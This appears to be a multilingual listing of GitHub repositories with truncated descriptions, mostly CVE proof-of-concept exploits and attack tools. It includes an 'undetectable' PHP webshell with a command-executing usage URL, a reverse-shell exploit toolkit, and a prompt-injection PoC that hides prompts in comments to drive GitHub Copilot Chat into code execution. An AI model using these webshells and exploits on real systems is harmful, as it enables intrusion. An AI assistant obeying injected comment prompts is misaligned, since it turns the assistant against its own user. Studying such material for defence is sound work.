CVE-2026-103541

A vulnerability exists in formtools.org Form Tools up to version 3.1.1 . The flaw is located in the Ajax Handler component, specifically within the Files::uploadFile function of the global/code/actions.php file. This issue allows for unrestricted upload via a remote attack vector. While the proje...

EasySpider

易采集/EasySpider: ビジュアルコード不要のWebクローラー 完全無料 （商用利用や二次開発を含む ）で利用できるビジュアルブラウザ自動化テスト/データ収集/クローラーソフトウェアです。グラフィカルインターフェースを使用して、コード不要で視覚的にタスクの設計と実行が可能です。Webページ上で操作したいコンテンツを選択し、プロンプトに従って操作するだけで、タスクの設計と実行を完了できます。同時に、コマンドラインで単独で実行することもできるため、他のシステムに簡単に組み込むことができます。 A completely free including for commercial use...

CVE-2025-52078

🚨 CVE-2025-52078 - 未认证任意文件上传 - Writebot SaaS React 模板 本仓库包含针对 Writebot – AI 内容生成器 SaaS React 模板 中发现的 未认证任意文件上传 漏洞的概念验证漏洞利用代码。 🧠 产品页面： ThemeForest – Writebot 🆔 漏洞元数据 CWE-ID： CWE-434：危险类型文件的不受限上传 严重性： 中 版本： 3.1 向量字符串： CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N 分数： 6.5 漏洞利用类型： 远程代码执行（通过文件上传） 需要认证：...

AtomShields

AtomShields |Build| |Codacy| |Docs| |Version| .. |Docs| image:: https://readthedocs.org/projects/atomshields/badge/?version=latest :target: http://atomshields.readthedocs.io/en/latest/?badge=latest :alt: Read the Docs .. |Version| image:: http://img.shields.io/pypi/v/atomshields.svg?style=flat...

ConfluentPwn

ConfluentPwn Confluence 预认证 ONGL 注入远程代码执行扫描器 CVE-2022-26134。 使用方法 下方 GIF 展示了工具的使用演示： 以下是工具的帮助输出： $ ./cfscan -h +-------------------------------+ | C O N F L U E N T P W N | +-------------------------------+ + ConfluentPwn by RedHunt Labs - A Modern Attack Surface ASM Management Company + 作者: Pina...

SucoshScanny

Sucosh Scanny "Sucosh" は、自動化されたソースコード脆弱性スキャナーSASTであり、PythonFlask-DjangoおよびNodeJs向けの評価フレームワークです。Webアプリケーション開発やソースコード分析プロセスにおいてコードレビューを実行できます。与えられたソースコード内の多くの脆弱性RCE、SSTI、安全でないデシリアライゼーション、SSRF、SQLI、CSRFなどを検出できます。現在のところ、pythonflask,djangoおよびnodejsexpress js.言語の検出モジュールのみが完成しています。将来的には、phpLaravel,...

C-Game-Modding-Utility

C/C++ ゲーム改造ユーティリティ このユーティリティは、第5世代/第6世代のコンソールゲーム向けの改造コードをC/C++で記述することを容易にすることを目的としています。 面倒なセットアップをすべて処理し、実際のコーディングに集中できます。 手動のクロスコンパイラ設定は不要です。 手動のISO再構築は不要です。 複雑なテストワークフローは不要です。 機能 PS1、PS2、GameCube、Wiiをサポート 選択したプラットフォームに必要なコンパイラ/ツールチェーンを自動ダウンロード GUIおよびCLIインターフェース コード変更を加えたゲームISOを再構築...

FTC-Skystone-Dark-Angels-Romania-2020

通知 本仓库包含用于SKYSTONE（2019-2020）赛季的公共FTC SDK。 此前该软件项目托管在此处。参加SKYSTONE挑战赛的队伍应使用这个新的SKYSTONE仓库，而不是旧的（且不再更新）ftcapp仓库。 欢迎！ 此GitHub仓库包含用于构建Android应用以控制 FIRST 科技挑战赛竞赛机器人的源代码。要使用此SDK，请将整个项目下载/克隆到本地计算机。 开始使用 如果您是机器人技术新手或 FIRST 科技挑战赛新手，建议首先查看FTC Blocks教程，以熟悉如何使用控制系统： FTC Blocks在线教程 即使您是高级Java程序员，从FTC...

nano

nano Nano 是一个 PHP webshell 家族，经过代码高尔夫优化，极其隐蔽且高效。 也许可以关注一下，我会继续在这里上传更多 webshell。 Nano ?=$GETp==&&$GETf; 特性 体积仅 35 字节 无法被静态代码扫描器检测 支持身份验证 用法 http://example.com/nano.php?f=function&c=command&p=password f 代表函数 c 代表命令 p 代表密码 例如，下面的代码将执行 ls 命令： http://example.com/nano.php?f=system&c=ls&p=password Ninja...

katana

Katana 一个针对2016年至2019年间发布的高通设备的BootROM漏洞利用工具。 漏洞简要说明...

monitorr-exploit-toolkit

Monitorr 漏洞利用工具包 RCE ：通过 不安全的文件上传 实现（PHP 反弹 Shell、Webshell 等） 管理员账户创建 ：通过 授权绕过 实现 技术信息泄露 ：Monitorr 版本、PHP 版本、系统版本与内核、PHP 配置等 针对 CVE-2020-28872 和 CVE-2020-28871 的漏洞利用。 PacketStorm 用法 $ ruby exploit.rb -h Monitorr-Exploit Usage: exploit.rb upload --debug exploit.rb create --debug exploit.rb version...

CVE-2023-36168

CVE-2023-36168 AVG AVG Anti-Spyware v.7.5 中的一个问题允许攻击者通过恶意脚本向 guard.exe 组件执行任意代码 漏洞利用标题：AVG Anti Spyware 7.5 - Unquoted Service Path 日期：05/08/2023 漏洞利用作者：Idan Malihi 厂商主页：https://www.avg.com 软件链接：https://www.avg.com/en-ww/homepagepc 版本：7.5 测试环境：Microsoft Windows 10 Pro CVE编号：CVE-2023-36168 PoC...

CVE-2025-49113

CVE-2025-49113 RCE 漏洞利用 此漏洞利用中用户名/密码认证的方法分为 4 步 代码有点凌乱。...

CVE-2023-27842

CVE-2023-27842 eXtplorer 2.1.15 – 认证后远程代码执行导致的不安全权限 厂商主页：http://extplorer.net/ 软件链接：http://extplorer.net/attachments/download/99/eXtplorer2.1.15.zip 版本：2.1.15 安装 git clone https://github.com/0xFTW/CVE-2023-27842 cd CVE-2023-27842 pip3 install -r requirements.txt 使用方法 chmod +x CVE-2023-27842...

CVE-2026-48800-PoC

CVE-2026-48800 — Notepad++ 任意代码执行 PoC 严重性： 高 | 受影响版本： Notepad++ ≤ 8.9.6 | 已修复版本： v8.9.6.1 CVE-2026-48800 的 PoC 脚本，该漏洞是 Notepad++ ≤ 8.9.6 中通过 shortcuts.xml 触发的任意代码执行漏洞。 完整技术细节请参阅官方安全公告。 使用方法 python cve-2026-48800.py 运行后触发： 运行 → 命令注入演示 预期结果： 启动 calc.exe，确认任意代码执行。 相关链接 另请参阅 CVE-2026-48778 — 同一...

CVE-2025-32432

🔐 CVE-2025-32432 — Craft CMS 预认证 RCE Craft CMS 中的预认证远程代码执行 发现与开发 byMohammed Idrees Banyamer 📌 概述 CVE-2025-32432 是一个严重的预认证远程代码执行（RCE）漏洞，影响 Craft CMS 的多个版本。通过将未清理的会话数据存储与不安全的反序列化小工具链接起来，未经身份验证的攻击者可以在远程服务器上执行任意命令。 🎯 受影响版本 分支| 受影响范围 ---|--- Craft CMS 3.x| ≤ 3.9.14 Craft CMS 4.x| ≤ 4.14.14 Craft CMS...

PoC-CVE-2025-62222

PoC: CVE-2025-62222 - GitHub Copilot Chat RCE 此仓库包含了针对漏洞 CVE-2025-62222 的概念验证（PoC）。它演示了如何通过操纵 GitHub Copilot Chat 在 VS Code 中的上下文，将隐藏的提示注入到注释中，从而在开发者的机器上实现远程代码执行（RCE）。 ⚠️ 免责声明 ⚠️ 仅供教育目的。 此代码仅用于教育和伦理研究目的。作者不对滥用此信息的行为负责。切勿在未经明确授权的系统上使用。 第一阶段：攻击者配置 在将文件发送给受害者（或本地测试）之前，你需要生成载荷并让服务器保持监听。 1...

zyrox

Zyrox LLVM 混淆器 用于混淆原生代码的 llvm 编译时和链接时插件 为什么 为什么不呢 ¯\ツ/¯ 这是我最大的项目之一，我在其中学到了很多关于 LLVM 内部机制、二进制格式、汇编和混淆技术的知识。 我相信通过构建来学习是最好的学习方式，因此我构建了这个项目来更深入地了解这些主题。 研究 我写了 4 篇博客来解释 Zyrox 背后的概念： 第一部分：构建 Zyrox：自定义 LLVM 混淆器 第二部分：控制流平坦化 第三部分：加密跳转表 第四部分：终章 这些部分比本 readme 更深入，如果你对这个主题感兴趣，绝对值得一读。 构建 使用模板（快速开始，推荐） 这适合想要...

CVE-2023-38646

CVE-2023-38646 Herramientas automáticas para el exploit RCE de Metabase conocido como CVE-2023-38646. Lee https://secry.me/explore/news/metabase-rce-cve-2023-38646/ para más información POC, Dork Cómo usar single.py python3 single.py --url=http://127.0.0.1:8080 --command="curl...

CVE-2025-54100

CVE-2025-54100 – PowerShell 响应解析 PoC 一个简洁的概念验证，展示CVE-2025-54100 如何通过恶意HTML解析在Windows PowerShell 5.1中导致远程代码执行（RCE）。 Table of Contents 什么是CVE-2025-54100？ PoC工作原理 快速开始 从受害者主机触发 故障排除与验证 证据 缓解措施 免责声明 参考资料 什么是CVE-2025-54100？ 类型： 当未 使用-UseBasicParsing时，Invoke-WebRequest中的命令注入 严重性： CVSS 7.8（高） 根因：...